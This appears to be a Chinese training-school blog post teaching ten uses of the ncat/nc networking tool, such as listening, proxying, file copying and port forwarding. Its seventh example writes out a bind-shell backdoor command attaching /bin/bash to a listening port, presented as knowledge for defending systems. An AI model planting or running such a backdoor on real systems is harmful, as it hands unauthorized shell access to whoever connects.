<option id="mwy0y"><strong id="mwy0y"></strong></option>
  • <ul id="mwy0y"><sup id="mwy0y"></sup></ul>
  • <ul id="mwy0y"></ul>
  • <del id="mwy0y"><dfn id="mwy0y"></dfn></del><ul id="mwy0y"><sup id="mwy0y"></sup></ul>
  • <abbr id="mwy0y"></abbr>
    千鋒教育-做有情懷、有良心、有品質的IT職業教育機構
    位置:首頁 > 行業動態

    千鋒Linux培訓老師分享NC命令的使用

    時間:2018-01-12 16:30:24  |  來源:千鋒長沙培訓機構  |  作者:千鋒  

       說起長沙Linux培訓,那就不得不提到千鋒,千鋒老師的Linux系統水平在業內一向以專業著稱,這次,就讓千鋒老師教我們一個有趣的調試工具!

    圖片9.jpg

      ncat 或者說 nc 是一款功能類似 cat 的工具,但是是用于網絡的。它是一款擁有多種功能的 CLI 工具,可以用來在網絡上讀、寫以及重定向數據。 它被設計成可以被腳本或其他程序調用的可靠的后端工具。同時由于它能創建任意所需的連接,因此也是一個很好的網絡調試工具。

      ncat/nc 既是一個端口掃描工具,也是一款安全工具,還能是一款監測工具,甚至可以做為一個簡單的 TCP 代理。 由于有這么多的功能,它被譽為是網絡界的瑞士軍刀。 這是每個系統管理員都應該知道并且掌握它。

      在大多數 Debian 發行版中,nc 是默認可用的,它會在安裝系統的過程中自動被安裝。 但是在 CentOS 7 / RHEL 7 的小化安裝中,nc 并不會默認被安裝。 你需要用下列命令手工安裝。

      [root@linuxtechi ~]# yum install nmap-ncat -y

      系統管理員可以用它來審計系統安全,用它來找出開放的端口然后保護這些端口。 管理員還能用它作為客戶端來審計 Web 服務器、telnet 服務器、郵件服務器等, 通過 nc 我們可以控制發送的每個字符,也可以查看對方的回應。

      我們還可以用它捕獲客戶端發送的數據以此來了解這些客戶端是做什么的。

      在本文中,我們會通過 10 個例子來學習如何使用 nc 命令。

      例子: 1) 監聽入站連接

      通過 -l 選項,ncat 可以進入監聽模式,使我們可以在指定端口監聽入站連接。 完整的命令是這樣的:

      $ ncat -l port_number

      比如,

      $ ncat -l 8080

      服務器就會開始在 8080 端口監聽入站連接。

      例子: 2) 連接遠程系統

      使用下面命令可以用 nc 來連接遠程系統,

      $ ncat IP_address port_number

      讓我們來看個例子,

      $ ncat 192.168.1.100 80

      這會創建一個連接,連接到 IP 為 192.168.1.100 的服務器上的 80 端口,然后我們就可以向服務器發送指令了。 比如我們可以輸入下面內容來獲取完整的網頁內容

      GET / HTTP/1.1

      或者獲取頁面名稱,

      GET / HTTP/1.1

      或者我們可以通過以下方式獲得操作系統指紋標識,

      HEAD / HTTP/1.1

      這會告訴我們使用的是什么軟件來運行這個 web 服務器的。

      例子: 3) 連接 UDP 端口

      默認情況下,nc 創建連接時只會連接 TCP 端口。 不過我們可以使用 -u 選項來連接到 UDP 端口,

      $ ncat -l -u 1234

      現在我們的系統會開始監聽 UDP 的 1234 端口,我們可以使用下面的 netstat 命令來驗證這一點,

      $ netstat -tunlp | grep 1234

      udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc

      udp6 0 0 :::1234 :::* 17341/nc

      假設我們想發送或者說測試某個遠程主機 UDP 端口的連通性,我們可以使用下面命令,

      $ ncat -v -u {host-ip} {udp-port}

      比如:

      [root@localhost ~]# ncat -v -u 192.168.105.150 53

      Ncat: Version 6.40 ( http://nmap.org/ncat )

      Ncat: Connected to 192.168.105.150:53。

      例子: 4) 將 nc 作為聊天工具

      nc 也可以作為聊天工具來用,我們可以配置服務器監聽某個端口,然后從遠程主機上連接到服務器的這個端口,就可以開始發送消息了。 在服務器這端運行:

      $ ncat -l 8080

      在遠程客戶端主機上運行:

      $ ncat 192.168.1.100 8080

      之后開始發送消息,這些消息會在服務器終端上顯示出來。

      例子: 5) 將 nc 作為代理

      nc 也可以用來做代理。比如下面這個例子,

      $ ncat -l 8080 | ncat 192.168.1.200 80

      所有發往我們服務器 8080 端口的連接都會自動轉發到 192.168.1.200 上的 80 端口。 不過由于我們使用了管道,數據只能被單向傳輸。 要同時能夠接受返回的數據,我們需要創建一個雙向管道。 使用下面命令可以做到這點:

      $ mkfifo 2way

      $ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

      現在你可以通過 nc 代理來收發數據了。

      例子: 6) 使用 nc 拷貝文件

      nc 還能用來在系統間拷貝文件,雖然這么做并不推薦,因為絕大多數系統默認都安裝了 ssh/scp。 不過如果你恰好遇見個沒有 ssh/scp 的系統的話, 你可以用 nc 來作后的努力。

      在要接受數據的機器上啟動 nc 并讓它進入監聽模式:

      $ ncat -l 8080 > file.txt

      現在去要被拷貝數據的機器上運行下面命令:

      $ ncat 192.168.1.100 8080 --send-only < data.txt

      這里,data.txt 是要發送的文件。 -–send-only 選項會在文件拷貝完后立即關閉連接。 如果不加該選項, 我們需要手工按下 ctrl+c 來關閉連接。

      我們也可以用這種方法拷貝整個磁盤分區,不過請一定要小心。

      例子: 7) 通過 nc 創建后門

      nc 命令還可以用來在系統中創建后門,并且這種技術也確實被黑客大量使用。 為了保護我們的系統,我們需要知道它是怎么做的。 創建后門的命令為:

      $ ncat -l 10000 -e /bin/bash

      -e 標志將一個 bash 與端口 10000 相連。現在客戶端只要連接到服務器上的 10000 端口就能通過 bash 獲取我們系統的完整訪問權限:

      $ ncat 192.168.1.100 10000

      例子: 8) 通過 nc 進行端口轉發

      我們通過選項 -c 來用 nc 進行端口轉發,實現端口轉發的語法為:

      $ ncat -u -l 80 -c 'ncat -u -l 8080'

      這樣,所有連接到 80 端口的連接都會轉發到 8080 端口。

      例子: 9) 設置連接超時

      nc 的監聽模式會一直運行,直到手工終止。 不過我們可以通過選項 -w 設置超時時間:

      $ ncat -w 10 192.168.1.100 8080

      這回導致連接 10 秒后終止,不過這個選項只能用于客戶端而不是服務端。

      例子: 10) 使用 -k 選項強制 nc 待命

      當客戶端從服務端斷開連接后,過一段時間服務端也會停止監聽。 但通過選項 -k 我們可以強制服務器保持連接并繼續監聽端口。 命令如下:

      $ ncat -l -k 8080

      現在即使來自客戶端的連接斷了也依然會處于待命狀態。

    上一篇:云計算培訓出來就拿?來千鋒就知道
    下一篇:軟件測試學習速成?千鋒武漢老師教你如何

    課程咨詢

    千鋒開發者聯盟QQ群

    JavaEE學習交流群:343013298

    HTML5學習技術交流群: 314548237

    UI技術學習交流群:159532533

    PHP學習交流群:517739045

    • 深圳科技園校區:深圳市南山區科苑南路高新技術產業園R3-B棟5層
      深圳大學城校區:深圳市南山區留仙大道1201號大學城創客小鎮16棟2樓、3樓
      咨詢電話:0755-86681178/9-801
      面授課程:iOS課程培訓、Android課程培訓、HTML5課程培訓、好程序員特訓營
    • 北京天豐利校區:北京市海淀區寶盛北里西區28號天豐利商城4層
      北京沙河校區:北京市昌平區沙陽路18號北京科技職業技術廣場服務樓2層、南區服務樓2層
      咨詢電話:400-654-7778 010-82790226/7-801
      面授課程:iOS課程培訓、Android課程培訓、HTML5課程培訓、UI課程培訓、好程序員特訓營
    • 上海地址:上海市寶山區同濟支路199號智慧七立方3號樓2-4層
      咨詢電話:400-627-7899 021-65025129-601
      面授課程:iOS課程培訓、Android課程培訓、HTML5課程培訓、好程序員特訓營
    • 鄭州地址:鄭州市金水區緯五路21號河南教育綜合樓6樓、7樓
      咨詢電話:0371-55911950 400-654-7778
      面授課程:iOS課程培訓、Android課程培訓、HTML5課程培訓、UI課程培訓
    • 廣州地址:廣州市天河區元崗路310號智匯park創意園E座5層
      咨詢電話:020-22119207 400-654-7778
      面授課程:iOS課程培訓、Android課程培訓、HTML5課程培訓
    • 大連地址:大連市高新園區軟件園路2號B8座
      咨詢電話:0411-39026086 400-654-7778
      面授課程:iOS課程培訓、Android課程培訓、HTML5課程培訓
    • 武漢地址:武漢市東新區光谷大道77號金融港B26棟9樓
      咨詢電話:027-59905909 027-59905908 027-59905902
      面授課程:iOS課程培訓、Android課程培訓
    • 成都地址:成都市一環路西二段17號四川旅游青羊校區內
      咨詢電話:028-83178771 028-61967740
      面授課程:iOS課程培訓、Android課程培訓、HTML5課程培訓、UI課程培訓
    • 西安地址:西安市二環南路西段60號永安大廈4層
      咨詢電話:029-85260160 029-85261030 029-85260960
      面授課程:iOS課程培訓、Android課程培訓、HTML5課程培訓
    • 杭州地址:浙江省杭州市江干區九堡旺田書畫城A座4層
      咨詢電話:0571-86893632 010-82790226/7-801
      面授課程:iOS課程培訓、Android課程培訓
    • 青島校區地址:青島市市南區金壇路17號青島職業技術南校區實訓樓A4層
      咨詢電話:0532-80910752/3 010-82790226/7-801
      面授課程:iOS課程培訓、Android課程培訓
    • 千鋒學員專屬客戶端
      “鋒向標”掃描下載

    • 千鋒教育微信號
      掃描加好友

    關閉